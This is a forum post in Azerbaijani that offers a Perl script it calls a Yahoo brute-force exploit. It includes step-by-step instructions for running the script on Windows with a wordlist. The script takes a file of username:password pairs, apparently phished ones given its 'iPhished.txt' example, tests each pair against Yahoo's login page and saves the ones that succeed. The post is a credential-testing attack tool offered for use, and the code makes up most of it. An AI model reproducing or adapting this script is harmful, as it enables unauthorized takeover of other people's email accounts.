Salamlar.Bu Perl də Yazılmış Yahoo Brute Force Eploitidi Bunu Notepada Yazıb Pl Şəklində Yaddaşa Verin
Example : (Brute.pl)
Daha Sonra Exploiti C:\Perl\bin Qovluğuna Atın
Ms-dos Pəncərəsini açıb Bunları Yazın
Brute üçün Yaxşı Bir Wordlistiniz Olmalıdır
Cd..
Cd..
Cd perl
Cd Bin
Perl Brute.pl ( Exploitin adını Nə Qoymusunuzsa Onu Yazın )
Exploit...
Kod:
[COLOR=red][B]Yahoo Brute force ("Password Trial and Error") Perl Exploit ;
#!/usr/bin/perl
#Yahoo! LOGIN SPECS
#USERNAME: 4-32 characters, Start with a letter. [Letters, Digits, Underscores and ONE dot]
#PASSWORD: 6-32 characters, no spaces
use HTTP::Cookies;
$myCookies = HTTP::Cookies->new();
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
$ua->cookie_jar($myCookies);
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');
push @{$ua->requests_redirectable}, 'POST';
sub usage{
print "[-] yahoo.pl <logins> (login:pass format) <results>\n";
print "[-] yahoo.pl iPhished.txt thanks.txt\n";
die("[!] Incorrect usage\n");
}
sub yahoo($$){
my $username = $_[0];
my $password = $_[1];
my $url = "https://login.yahoo.com/config/login?login=$username&passwd=$password";
my $login = $ua->get($url);
die("[!] Connection error\n") unless ($login->is_success);
if($login->content =~ m/<strong>Invalid ID or password.<\/strong><br> Please try again.<\/div>/){
return 0;
}
elsif($login->content =~ m/Unable to/){
die("[!] Yahoo killed you!\n");
}
}
if(@ARGV!= 2){
&usage;
}
else{
my $loginlist = $ARGV[0];
my $resultlist = $ARGV[1];
open("xfile", $loginlist) || die "Couldn't open $loginlist\n";
while(my $line = <xfile>){
chomp($line);
if($line =~ m/[a-z0-9_\.]\@yahoo\.com(.*?):(.+){6,32}$/i){
my @details = split(/:/,$line);
print "[-] Checking $details[0] : $details[1]\t";
if(yahoo($details[0],$details[1])){
print "Success\n";
open(LOG,">>$resultlist") || die "Couldn't open $resultlist\n";
print LOG "$details[0]:$details[1]\n";
close(LOG);
}
else{
print "Failure\n";
}
}
}
} [/B][/COLOR]